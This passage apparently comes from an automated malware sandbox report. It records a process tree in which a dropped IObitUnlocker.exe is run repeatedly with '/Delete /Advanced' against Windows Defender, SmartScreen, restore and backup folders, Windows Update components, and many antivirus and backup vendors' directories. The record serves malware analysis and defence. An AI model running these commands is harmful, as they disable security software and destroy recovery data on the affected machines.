Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\Reboot","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2872
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\Reboot","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4060
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\Reboot","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2960
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files 